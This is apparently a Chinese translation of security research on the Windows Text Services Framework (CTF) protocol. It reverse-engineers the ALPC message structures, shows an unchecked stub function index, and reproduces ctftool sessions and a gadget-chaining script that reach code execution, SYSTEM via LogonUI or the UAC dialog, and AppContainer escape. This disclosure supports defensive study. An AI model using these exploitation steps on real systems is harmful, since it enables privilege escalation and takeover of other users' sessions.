刨根问底:Windows CTF协议安全性研究

阅读量    125834 |   稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

我自己经常会编写简单的测试案例,来验证后台处理逻辑与我设想的相符。有时候我无法解释测试结果,会刨根问底,最终挖掘出新的研究方向。

通常情况下,同一个桌面中的窗口之间可以互相通信。这些窗口可以要求对方移动、调整大小、关闭或者甚至向对方发送输入数据。当我们具有不同权限级别的应用程序时(比如通过“Run as administrator”运行程序时),情况会变得更加复杂。

 

0x01 消息传递问题

正常情况下,低权限窗口不能随便向高权限窗口发送消息,这也是UIPI(User Interface Privilege Isolation,用户界面权限隔离)的职责所在。当然本文并不是想介绍UIPI,但整个研究起点与之有关。

验证我们是否可以与另一个窗口通信的代码位于win32k!NtUserPostMessage中。代码逻辑比较简单,就是检查应用是否明确允许该消息,或者该消息是否在无害消息白名单中。


BOOL __fastcall IsMessageAlwaysAllowedAcrossIL(DWORD Message)
{
  BOOL ReturnCode; // edx
  BOOL IsDestroy; // zf
  ReturnCode = FALSE;
  if...
  switch ( Message )
  {
    case WM_PAINTCLIPBOARD:
    case WM_VSCROLLCLIPBOARD:
    case WM_SIZECLIPBOARD:
    case WM_ASKCBFORMATNAME:
    case WM_HSCROLLCLIPBOARD:
      ReturnCode = IsFmtBlocked() == 0;
      break;
    case WM_CHANGECBCHAIN:
    case WM_SYSMENU:
    case WM_THEMECHANGED:
      return 1;
    default:
      return ReturnCode;
  }
  return ReturnCode;
}

我开发了一个测试程序,想验证事实是否像代码逻辑中展示的一样简单。如果我从低权限进程向高权限窗口发送所有可能的消息,那么结果应该与win32k!IsMessageAlwaysAllowedAcrossIL中的白名单相匹配,因此我可以继续研究其他内容。

然而我还是太天真,根据我的测试代码,输出结果如下:

结果表明低权限应用可以将0xCNNN范围内的消息发送给我测试的大多数应用,甚至包括Notepad等简单应用。我并不知道消息编号竟然能达到这么高的范围。

消息编号使用的是预定义的范围,系统消息位于00x3FF,然后应用程序可以根据需要使用WM_USER以及WM_APP范围内的消息。

这是我第一次看到不在这些范围内的消息,因此我决定研究一下。

消息范围 意义
0到WM_USER –1 系统预留使用的消息
WM_USER到0x7FFF 私有窗口类使用的消息
WM_APP(0x8000)到0xBFFF 应用可以使用的消息
0xC000到0xFFFF 应用使用的字符串消息
大于0xFFFF 系统保留

看来这些消息编号对应的是字符串消息?

根据官方文档,我找到了RegisterWindowMessage()函数,该函数用来注册字符串消息,允许两个应用通过消息编号共享字符串。我认为该API在实现上使用的是Atoms,这是微软的一个标准功能。

我首先猜想的是RegisterWindowMessage()会自动调用ChangeWindowMessageFilterEx(),这也能解释我的测试结果,并且也能为未来的研究提供有价值信息,然而经过测试后我发现并非如此。

肯定有其他角色在显式允许这些消息!

我需要找到对应的代码,才能澄清这些现象。

 

0x02 定位目标

我在USER32!RegisterWindowMessageW上设置断点,等待函数返回我寻找的某个消息编号。当断点触发时,我观察栈状态,想澄清哪部分代码负责这个过程:

$ cdb -sxi ld notepad.exe
Microsoft (R) Windows Debugger Version 10.0.18362.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: notepad.exe
(a54.774): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffa`ce142dbc cc              int     3
0:000> bp USER32!RegisterWindowMessageW "gu; j (@rax != 0xC046) 'gc'; ''"
0:000> g
0:000> r @rax
rax=000000000000c046
0:000> k
Child-SP          RetAddr           Call Site
0000003a`3c9ddab0 00007ffa`cbc4a010 MSCTF!EnsurePrivateMessages+0x4b
0000003a`3c9ddb00 00007ffa`cd7f7330 MSCTF!TF_Notify+0x50
0000003a`3c9ddc00 00007ffa`cd7f1a09 USER32!CtfHookProcWorker+0x20
0000003a`3c9ddc30 00007ffa`cd7f191e USER32!CallHookWithSEH+0x29
0000003a`3c9ddc80 00007ffa`ce113494 USER32!_fnHkINDWORD+0x1e
0000003a`3c9ddcd0 00007ffa`ca2e1f24 ntdll!KiUserCallbackDispatcherContinue
0000003a`3c9ddd58 00007ffa`cd7e15df win32u!NtUserCreateWindowEx+0x14
0000003a`3c9ddd60 00007ffa`cd7e11d4 USER32!VerNtUserCreateWindowEx+0x20f
0000003a`3c9de0f0 00007ffa`cd7e1012 USER32!CreateWindowInternal+0x1b4
0000003a`3c9de250 00007ff6`5d8889f4 USER32!CreateWindowExW+0x82
0000003a`3c9de2e0 00007ff6`5d8843c2 notepad!NPInit+0x1b4
0000003a`3c9df5f0 00007ff6`5d89ae07 notepad!WinMain+0x18a
0000003a`3c9df6f0 00007ffa`cdcb7974 notepad!__mainCRTStartup+0x19f
0000003a`3c9df7b0 00007ffa`ce0da271 KERNEL32!BaseThreadInitThunk+0x14
0000003a`3c9df7e0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

在调试信息中,我们看到了“CTF”这个关键字,这到底是啥?

调试器显示,内核会代表进程创建一个新的窗口,调用一个回调函数来加载名为MSCTF的一个模块。该程序库负责创建这些消息,然后修改消息过滤器。

经过研究后我发现,CTF是Windows Text Services Framework的一部分(我现在还不知道CTF的具体含义,找不到任何头文件、文档、SDK示例、字符串或者符号名,我猜测这个名字来自于匈牙利表示法,即CTextFramework)。TSF会管理各类对象,比如输入法、键盘布局、文本处理等等。

如果我们修改键盘布局或者区域设置,使用Pinyin等IME或者其他输入法(比如手写识别),那么就会用到CTF。

网上我能找到的关于Text Services安全性方面的唯一说明来自于“New Features”页面:

我们显著改善了TSF的安全性及鲁棒性,可以降低恶意程序访问栈、堆或者其他安全内存位置的可能性。

虽然安全性得到了极大改善,但不代表这些事情不可能发生,我觉得花几周时间逆向分析CTF来了解安全属性也是非常值得的。

大家之前在任务管理器中可能发现过ctfmon服务,该服务负责通知应用关于键盘布局或输入法更改的操作。内核会强制应用程序在启动时连接到ctfmon服务,然后与其他客户端交换消息,从该服务接收通知。

Microsoft Pinyin这个IME(Input Method Editor)为例,如果我们在Windows中将语言设置为中文,就会发现系统默认安装了Microsoft Pinyin输入法。

其他地区也会对应其他IME,如果将语言设置为日语,那么就会安装Microsoft JP-IME,以此类推。

这些IME需要另一个进程来判断当前键盘上的输入内容,以修改文本,CTF服务负责承担该任务。IME应用属于一种进程外TIP(Text Input Processor),此外还有其他类型的TIP,CTF也支持许多类型的TIP。

 

0x03 CTF协议

每个新桌面和会话都会生成一个CTF监控服务,并且也会创建一个ALPC端口(\BaseNamedObjects\msctf.server<DesktopName><SessionId>),CTF服务端ALPC端口名中包含具体的桌面名及会话id,如下图所示:

当任意进程创建窗口时,内核就会调用USER32!CtfHookProcWorker回调函数,自动加载CTF客户端。客户端会连接到ALPC端口,报告HWND、线程及进程id等信息。

typedef struct _CTF_CONNECT_MSG {
    PORT_MESSAGE Header;
    DWORD ProcessId;
    DWORD ThreadId;
    DWORD TickCount;
    DWORD ClientFlags;
    union {
        UINT64 QuadWord;
        HWND WindowId;
    };
} CTF_CONNECT_MSG, *PCTF_CONNECT_MSG;

以上为客户端连接CTF会话时发送的初始握手消息结构。该协议完全未公开,只能通过逆向分析才能理清这些结构。

服务端会持续等待客户端的消息,但客户端只会查找通过PostMessage()通知的消息,这也是为什么客户端会在启动时调用RegisterWindowMessage()的原因所在。

客户端可以向监控端发送命令,或者通过指定目标线程id,要求监控端将命令转发给其他客户端。


typedef struct _CTF_MSGBASE {
    PORT_MESSAGE Header;
    DWORD Message;
    DWORD SrcThreadId;
    DWORD DstThreadId;
    DWORD Result;
    union {
        struct _CTF_MSGBASE_PARAM_MARSHAL {
            DWORD ulNumParams;
            DWORD ulDataLength;
            UINT64 pData;
        };
        DWORD Params[3];
    };
} CTF_MSGBASE, *PCTF_MSGBASE;

客户端可以将消息发送给已连接的任何线程,或者将目的线程id设置为0,将消息发送给监控端。如果想设置参数,可以采用附加方式,或者如果只需要一些整数,可以直接在Message中设置。

客户端可以发送许多命令,其中许多命令涉及到发送或接收数据、或者实例化COM对象。许多命令需要参数,因此CTF协议实现了一个复杂的类型marshal以及unmarshal系统。

typedef struct _CTF_MARSHAL_PARAM {
    DWORD Start;
    DWORD Size;
    DWORD TypeFlags;
    DWORD Reserved;
} CTF_MARSHAL_PARAM, *PCTF_MARSHAL_PARAM;

经过marshal后的参数会被附加到消息中。

如果我们想将marshal后的数据发送至已实例化的COM对象,监控端就会帮我们“代理”这个数据。我们只需要添加一个PROXY_SIGNATURE结构,描述需要转发到哪个COM对象即可,我们甚至可以调用COM对象上的方法:

typedef struct _CTF_PROXY_SIGNATURE {
    GUID Interface;
    DWORD FunctionIndex;
    DWORD StubId;
    DWORD Timestamp;
    DWORD field_1C; // I've never seen these fields used
    DWORD field_20;
    DWORD field_24;
} CTF_PROXY_SIGNATURE, *PCTF_PROXY_SIGNATURE;

CTF非常庞大且非常复杂,CTF系统一开始很可能是针对Windows NT设计,当Vista及后续系统推出时,又与ALPC结合在一起。从代码中我们可以看到许多老版本的设计痕迹。

实际上我能找到的最早版本的MSCTF源自于2001年发布的Office XP,该产品甚至支持Windows 98。随后CTF又作为基础操作系统的一部分,包含在Windows XP中。

从Windows XP开始,CTF已经是操作系统的一部分,但ctftool(我开发的一款工具)只支持ALPC,后者从Vista开始引入。

在Windows Vista、Windows 7以及Windows 8中,监控端会作为taskhost.exe中的任务运行。

ctftool支持Windows 7,并且我发现本文描述的所有bug依然存在(目前工具尚未支持Windows Vista,不过改动起来比较简单,但想支持XP需要大量修改)。

实际上,从Vista以来,整个CTF系统并没有发生太大改动。

在Windows 10中,监控端也是一个独立的进程,协议本身几乎没有发生变化。

那么我们能不能找到攻击面呢?

首先,这里完全没有任何访问控制机制!任何应用、任何用户(甚至是沙箱中的进程)都可以连接到任何CTF会话。客户端需要报告对应的线程id、进程id以及HWND信息,但这里并没有任何身份认证机制,我们可以轻松仿冒。

其次,我们可以伪装成CTF服务,让其他应用连接到我们(甚至包括高权限应用)。

另外即便CTF按预期的模式工作,也可以帮我们实现沙箱逃逸、提升权限。这样也更加坚定了我逆向分析这个协议的决心。

ctftool的典型输出结果如下:

这个任务比我预想的还要复杂,经过几星期工作后,我创建了交互式CTF命令行客户端:ctftool。为了按计划解析CTF协议,我还开发了包含控制流、算法以及变量的简单脚本功能。

 

0x04 研究CTF

我们可以使用ctftool连接到当前会话,查看已连接的客户端:

> .\ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault2
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault2") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault2, Handle 00000224
ctf> scan
Client 0, Tid 5100 (Flags 0x08, Hwnd 000013EC, Pid 4416, explorer.exe)
Client 1, Tid 5016 (Flags 0x08, Hwnd 00001398, Pid 4416, explorer.exe)
Client 2, Tid 7624 (Flags 0x08, Hwnd 00001DC8, Pid 4416, explorer.exe)
Client 3, Tid 4440 (Flags 0x0c, Hwnd 00001158, Pid 5776, SearchUI.exe)
Client 4, Tid 7268 (Flags 0000, Hwnd 00001C64, Pid 7212, ctfmon.exe)
Client 5, Tid 6556 (Flags 0x08, Hwnd 0000199C, Pid 7208, conhost.exe)
Client 6, Tid 5360 (Flags 0x08, Hwnd 000014F0, Pid 5512, vmtoolsd.exe)
Client 7, Tid  812 (Flags 0x08, Hwnd 0000032C, Pid 6760, OneDrive.exe)
Client 8, Tid 6092 (Flags 0x0c, Hwnd 000017CC, Pid 7460, LockApp.exe)
Client 9, Tid 6076 (Flags 0000, Hwnd 000017BC, Pid 5516, ctftool.exe)

我们不仅可以向服务端发送命令,也可以等待特定的客户端连接,然后要求服务端将命令转发给这个客户端。

让我们启动一个notepad副本,然后等待该应用连接到我们的CTF会话。

现在我们可以指定CLSID值,要求notepad实例化某些COM对象。如果该操作成功完成,就可以返回一个“stub”,帮我们与实例化的对象交互,这样就能方便调用方法、传递参数。

这里我们来实例化一个ITfInputProcessorProfileMgr对象。

ctf> createstub 0 5 IID_ITfInputProcessorProfileMgr
Command succeeded, stub created
Dumping Marshal Parameter 3 (Base 012EA8F8, Type 0x106, Size 0x18, Offset 0x40)
000000: 4c e7 c6 71 28 0f d8 11 a8 2a 00 06 5b 84 43 5c  L..q(....*..[.C\
000010: 01 00 00 00 bb ee b7 00                          ........
Marshalled Value 3, COM {71C6E74C-0F28-11D8-A82A-00065B84435C}, ID 1, Timestamp 0xb7eebb

操作成功,现在我们可以通过“stub id”来引用这个对象。这个对象可以完成一些任务,比如更改输入法、枚举可用语言等。我们来试着调用一下ITfInputProcessorProfileMgr::GetActiveProfile方法,官方公开了这个方法,因此我们知道该方法需要两个参数:GUID以及存储TF_INPUTPROCESSORPROFILE的一个缓冲区。

ctftool可以生成这些参数,然要要求notepad将这些参数代理至目标COM对象。

ctf> setarg 2
New Parameter Chain, Length 2
ctf> setarg 1 34745c63-b2f0-4784-8b67-5e12c8701a31
Dumping Marshal Parameter 0 (Base 012E8E90, Type 0x1, Size 0x10, Offset 0x20)
Possibly a GUID, {34745C63-B2F0-4784-8B67-5E12C8701A31}
ctf> # just generating a 0x48 byte buffer
ctf> setarg 0x8006 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Dumping Marshal Parameter 1 (Base 012E5010, Type 0x8006, Size 0x48, Offset 0x30)
Marshalled Value 1, DATA
ctf> callstub 0 0 10
Command succeeded.
Parameter 1 has the output flag set.
Dumping Marshal Parameter 1 (Base 012E5010, Type 0x8006, Size 0x48, Offset 0x20)
000000: 02 00 00 00 09 04 00 00 00 00 00 00 00 00 00 00  ................
000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000020: 00 00 00 00 00 00 00 00 63 5c 74 34 f0 b2 84 47  ........c\t4...G
000030: 8b 67 5e 12 c8 70 1a 31 00 00 00 00 09 04 09 04  .g^..p.1........
000040: 00 00 00 00 03 00 00 00                          ........
Marshalled Value 1, DATA

在如上输出结果中,可以看到notepad会在我们传递的缓冲区中填充当前的profile信息。

 

0x05 寻找bug

这种复杂、模糊、有年代感的协议中存在各种内存损坏漏洞是非常正常的一件事。许多COM对象会简单信任我们通过ALPC端口来marshal指针,并且很少有边界检查或者整数溢出检查机制。

某些命令需要我们是前台窗口所有者,或者存在其他类似的限制,但由于我们可以伪装线程id,因此我们可以简单将自己伪装成是目标窗口的所有者,无需证明自己身份。

很快我就意识到,调用实例化COM stub上的方法的命令需要传入方法表的索引作为参数。系统没有对这个索引做任何验证,因此我们可以直接跳转到程序中的任何函数指针。

int __thiscall CStubITfCompartment::Invoke(CStubITfCompartment *this, unsigned int FunctionIndex, struct MsgBase **Msg)
{
  return CStubITfCompartment::_StubTbl[FunctionIndex](this, Msg);
}

上述代码中,FunctionIndex为我们控制的一个整数,Msg为我们发送到服务端的CTF_MSGBASE

如果我们试着调用一个无意义的函数索引,如下所示:

ctf> callstub 0 0 0x41414141

结果发现notepad中会出现如下情况:

(3248.2254): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSCTF!CStubITfInputProcessorProfileMgr::Invoke+0xc:  
00007ff9`4b669c6c 498b04c1        mov     rax,qword ptr [r9+rax*8] ds:00007ffb`5577e6e8=????????????
????
0:000> r 
rax=0000000041414141 rbx=0000000000000000 rcx=0000025f170c36c0
rdx=000000d369fcf1f0 rsi=0000000080004005 rdi=000000d369fcf1f0
rip=00007ff94b669c6c rsp=000000d369fcec88 rbp=000000d369fcf2b0
 r8=000000d369fcf1f0  r9=00007ff94b6ddce0 r10=00000fff296cd38c
r11=0000000000011111 r12=0000025f170c3628 r13=0000025f170d80b0
r14=000000d369fcf268 r15=0000000000000000
iopl=0         nv up ei pl zr na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010247
MSCTF!CStubITfInputProcessorProfileMgr::Invoke+0xc:
00007ff9`4b669c6c 498b04c1        mov     rax,qword ptr [r9+rax*8] ds:00007ffb`5577e6e8=????????????
????

这里注意到ctf库会捕捉到所有异常,因此notepad实际上并不会崩溃,这意味着我们可以无限次进行尝试。

这看起来像是漏洞利用非常好的一个点。

寻找可调用的方法

Windows 10中提供的所有主要系统程序以及服务都使用到了CFGControl Flow Guard)。在实践中,CFG是非常脆弱的一种缓解措施。即使忽略掉许多已知的限制,最简单的Windows程序也对应成百上千个白名单间接分支。

在CFG限制下,想寻找有用的gadget显然比以前更加麻烦,但我们还是可以像以前得到有用的结果。

这个bug可以让我们解引用(dereference)自己的地址空间中的某个任意函数指针,我们可以使用两个参数来调用:this指针以及指向我们能部分控制的某个结构(ALPC PORT_MESSAGE)的指针的指针。

我决定调用每个可以使用的索引,来观察会出现什么情况,希望能出现异常情况,将寄存器及栈变成我们希望看到的状态。

在WSL(Windows Subsystem for Linux)中,我使用如下bash命令来不断生成新的notepad实例,利用cdb记录异常情况:

$ while :; do cdb -xi ld -c 'g;r;u;dq@rcx;dq@rdx;kvn;q' notepad; done

然后我使用ctftool来调用每个可能使用的函数索引。这种方式的确有效,在索引496处是指向MSCTF!CTipProxy::Reconvert的一个指针,该函数会将RDXRCXRDI以及R8移动到距离我控制的缓冲区200字节的位置,然后跳转到我控制的一个指针。

0:000> dqs MSCTF!CStubIEnumTfInputProcessorProfiles::_StubTbl + 0n496*8 L1 
00007ff9`4b6dec28  00007ff9`4b696440 MSCTF!CTipProxy::Reconvert

我依然只能跳转到位于CFG白名单分支中的目标,但这种状态显然利用起来更加方便。

这里稍微提一下ASLR。Windows 10的整个底层系统会使用ASLR,但Windows上的映像随机化采用per-boot方式,而不是per-process方式,这意味着我们可以可靠地猜测出代码的位置。不幸的是,栈采用的是per-process随机化方式。如果我们想使用栈中的数据,我们还需要泄露指针信息。

事实证明想搞定这个服务端其实相当容易,作为CTF marshal协议的一部分,监控端实际上会告诉我们栈的具体位置。

寻找可用的gadget

虽然服务端会告诉我们栈的具体位置,但客户端并不会告诉我们这个信息。这意味着要么我们找到一个信息泄露点,要么找到一个“write-what-where” gadget,这样我们就可以将数据移动到我们能预测的位置(比如映像的数据段)。

一旦我们搞定一个点,就能伪造对象,接管进程。

我使用dumpbin以及cdb将白名单的分支目标全部dump出来,找到了可能使用的一些gadget。寻找过程主要采用手动分析方式,我使用egrep来寻找看上去相关的值,然后读取可能使用的结果。

我只找到一个有用的任意写gadget,位于msvcrt!_init_time中,这是一个白名单的CFG间接分支目标。这个gadget是对任意dword的一个dec操作,如下所示(00007ff94b121db9):

0:000> u msvcrt!_init_time+0x79 
msvcrt!_init_time+0x79:  
00007ff9`4b121db9 f0ff8860010000  lock dec dword ptr [rax+160h]
00007ff9`4b121dc0 48899f58010000  mov     qword ptr [rdi+158h],rbx
00007ff9`4b121dc7 33c0            xor     eax,eax
00007ff9`4b121dc9 488b5c2430      mov     rbx,qword ptr [rsp+30h]
00007ff9`4b121dce 488b6c2438      mov     rbp,qword ptr [rsp+38h]
00007ff9`4b121dd3 4883c420        add     rsp,20h
00007ff9`4b121dd7 5f              pop     rdi
00007ff9`4b121dd8 c3              ret

我们只需要反复调用这个gadget,就能生成我们所需的值。我在ctftool中添加了计算及控制流逻辑,以便自动化执行该操作。

我需要不断执行dec操作,直到获得我所需的值。虽然这个过程比较繁琐,但依然可行。在ctftool中这部分代码逻辑如下所示:

# I need the first qword to be the address of my fake object, the -0x160 is to compensate for
# the displacement in the dec gadget. Then calculate (-(r1 >> n) & 0xff) to find out how many times
# we need to decrement it.
#
# We can't read the data, so we must be confident it's all zero for this to work.
#
# CFG is a very weak mitigation, but it sure does make you jump through some awkward hoops.
#
# These loops produce the address we want 1 byte at a time, so I need eight of them.
patch 0 0xa8 r0 8 -0x160
set r1 r0
shr r1 0
neg r1 r1
and r1 0xff
repeat r1 callstub 0 0 496
patch 0 0xa8 r0 8 -0x15f
set r1 r0
shr r1 8
neg r1 r1
sub r1 1
and r1 0xff
repeat r1 callstub 0 0 496
...

可以伪造对象后,我们就可以通过各种gadget来设置寄存器,最终回到LoadLibrary()。这意味着我能搞定任何CTF客户端,包括notepad。如下图所示,我成功在notepad中弹出了一个cmd:

 

0x06 进一步利用

现在我们已经可以搞定任何CTF客户端,但如何寻找合适的目标呢?

CTF中并没有访问控制机制,因此我们可以连接到另一个用户的活动会话,接管任何应用,或者等待管理员登录,然后接管对方会话。然而我们还有个更好的选择:如果我们使用USER32!LockWorkstation,就可以切换到高权限(以SYSTEM权限运行)的Winlogon桌面。

的确如此,登录屏幕的确对应一个CTF会话:

PS> ctftool.exe  
An interactive ctf exploration tool by @taviso.  
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help lock
Lock the workstation, switch to Winlogon desktop.
Usage: lock
Unprivileged users can switch to the privileged Winlogon desktop using USER32!LockWorkstation. After executing this, a SYSTEM privileged ctfmon will spawn.
Most commands require a connection, see "help connect".
ctf> lock
ctf> connect Winlogon sid
The ctf server port is located at \BaseNamedObjects\msctf.serverWinlogon3
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverWinlogon3") => 0
Connected to CTF server@BaseNamedObjects\msctf.serverWinlogon3, Handle 00000240
ctf> scan
Client 0, Tid 2716 (Flags 0000, Hwnd 00000A9C, Pid 2152, ctftool.exe)  
Client 1, Tid 9572 (Flags 0x1000000c, Hwnd 00002564, Pid 9484, LogonUI.exe)
Client 2, Tid 9868 (Flags 0x10000008, Hwnd 0000268C, Pid 9852, TabTip.exe)

Windows登录接口是一个CTF客户端,所以我们可以利用这个客户端获得SYSTEM权限,攻击过程可参考此处视频,如果想了解详细的利用过程,可参考此处说明

 

0x07 TIP的冰山一角

在默认配置下,我们就可以利用CTF协议中的内存损坏漏洞,不需要关心地区或者语言设置。对于依赖进程外TIP(Text Input Processors)的用户来说,我们还没深入挖掘可攻击的深度。

如果用户安装了中文(简体、繁体等)、日语、韩语或者其他语言,那么就拥有了带扩展功能的语言。只要系统安装了这种语言,不管是否处于启用或者在用状态,任何CTF客户端都可以为其他客户端选择这种语言。

这样任何CTF客户端都可以从其他会话读写任何窗口的文本。

比如,我们可以利用ctftool来替换notepad中的文本。

ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault1
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault1") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault1, Handle 000001E8
ctf> wait notepad.exe
Found new client notepad.exe, DefaultThread now 3468
ctf> setarg 7
New Parameter Chain, Length 7
ctf> setarg 0x1 0100000001000000
ctf> setarg 0x1 0000000000000000
Dumping Marshal Parameter 1 (Base 0120F6B8, Type 0x1, Size 0x8, Offset 0x78)
000000: 00 00 00 00 00 00 00 00                          ........
Marshalled Value 1, DATA
ctf> setarg 0x201 0
Dumping Marshal Parameter 2 (Base 0120F6B8, Type 0x201, Size 0x8, Offset 0x80)
000000: 00 00 00 00 00 00 00 00                          ........
Marshalled Value 2, INT 0000000000000000
ctf> setarg 0x201 11
Dumping Marshal Parameter 3 (Base 0120F6B8, Type 0x201, Size 0x8, Offset 0x88)
000000: 0b 00 00 00 00 00 00 00                          ........
Marshalled Value 3, INT 000000000000000b
ctf> setarg 0x201 16
Dumping Marshal Parameter 4 (Base 0120F6B8, Type 0x201, Size 0x8, Offset 0x90)
000000: 10 00 00 00 00 00 00 00                          ........
Marshalled Value 4, INT 0000000000000010
ctf> setarg 0x25 L"TestSetRangeText"
Dumping Marshal Parameter 5 (Base 0121C680, Type 0x25, Size 0x20, Offset 0x98)
000000: 54 00 65 00 73 00 74 00 53 00 65 00 74 00 52 00  T.e.s.t.S.e.t.R.
000010: 61 00 6e 00 67 00 65 00 54 00 65 00 78 00 74 00  a.n.g.e.T.e.x.t.
Marshalled Value 5, DATA
ctf> setarg 0x201 0x77777777
Dumping Marshal Parameter 6 (Base 0121E178, Type 0x201, Size 0x8, Offset 0xb8)
000000: 77 77 77 77 00 00 00 00                          wwww....
Marshalled Value 6, INT 0000000077777777
ctf> call 0 MSG_REQUESTEDITSESSION 1 1 0
Result: 0
ctf> marshal 0 MSG_SETRANGETEXT
Result: 0, use `getarg` if you want to examine data

这里最明显的一种攻击场景就是低权限用户可以将命令注入管理员的控制台会话,或者当用户登录时读取密码,即使位于沙箱中的AppContainer进程也能发起这种攻击。

另一种有趣的攻击场景就是控制UAC窗口,这也是以NT AUTHORITY\SYSTEM权限运行。低权限正常用户可以通过runas配合ShellExecute()运行consent.exe,最终提升至SYSTEM权限。

如下图所示,UAC对话框是以SYSTEM权限运行的CTF客户端。这里为了方便演示,我降低了UAC的级别,但这种方式适用于所有级别。默认情况下,UAC使用的是“安全”桌面,但不论我们选择哪个级别,都没有访问控制机制。

PS> handle.exe -nobanner -a -p "consent.exe" msctf
consent.exe        pid: 6844   type: ALPC Port      3D0: \BaseNamedObjects\msctf.serverWinlogon1
consent.exe        pid: 6844   type: Mutant         3F0: \Sessions\1\BaseNamedObjects\MSCTF.CtfMonit
orInstMutexWinlogon1
consent.exe        pid: 6844   type: Event          3F4: \Sessions\1\BaseNamedObjects\MSCTF.CtfMonit
orInitialized.Winlogon1S-1-5-18
consent.exe        pid: 6844   type: Event          3F8: \Sessions\1\BaseNamedObjects\MSCTF.CtfDeact
ivated.Winlogon1S-1-5-18
consent.exe        pid: 6844   type: Event          3FC: \Sessions\1\BaseNamedObjects\MSCTF.CtfActiv
ated.Winlogon1S-1-5-18
consent.exe        pid: 6844   type: Mutant         450: \Sessions\1\BaseNamedObjects\MSCTF.Asm.Mute
xWinlogon1
consent.exe        pid: 6844   type: Mutant         454: \Sessions\1\BaseNamedObjects\MSCTF.CtfServe
rMutexWinlogon1

我也在ctftool中实现了这种攻击方式,大家可以参考此处攻击步骤来复现。

 

0x08 总结

即便没有bug,CTF协议也可以让应用程序交换输入数据,读取彼此的内容。然而,该协议中的确存在很多bug,可以让攻击者完全控制其他大部分应用。我很好奇微软会如何改进这个协议,如果大家想进一步研究,可以下载我开发的这款工具(ctftool)作为参考。

我花了许多精力才对CTF内部原理有所了解,澄清其脆弱点。这些脆弱点都是隐藏的攻击面,已经有多年历史。事实证明,在20多年的历史中,我们一直可以借助这种方式实施跨会话攻击,打破NT系统的安全边界,并且没有人注意到这一点。

题外话:我们能不能在计算器中弹出计算器?

在Windows 10中,计算器这个应用与Edge浏览器一样,都用到了AppContainer隔离。然而,内核还是会强迫AppContainer进程加入CTF会话。

ctf> scan
Client 0, Tid 2880 (Flags 0x08, Hwnd 00000B40, Pid 3048, explorer.exe)
Client 1, Tid 8560 (Flags 0x0c, Hwnd 00002170, Pid 8492, SearchUI.exe)
Client 2, Tid 11880 (Flags 0x0c, Hwnd 00002E68, Pid 14776, Calculator.exe)
Client 3, Tid 1692 (Flags 0x0c, Hwnd 0000069C, Pid 15000, MicrosoftEdge.exe)
Client 4, Tid 724 (Flags 0x0c, Hwnd 00001C38, Pid 2752, MicrosoftEdgeCP.exe)

这意味着我们可以突破计算器,然后以此为据点搞定其他CTF客户端(甚至包括不是AppContainer的客户端,如Explorer)。

在Windows 8及更早版本系统中,我们可以像搞定其他CTF客户端那样搞定计算器,因此我们可以在计算器中弹出计算器。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多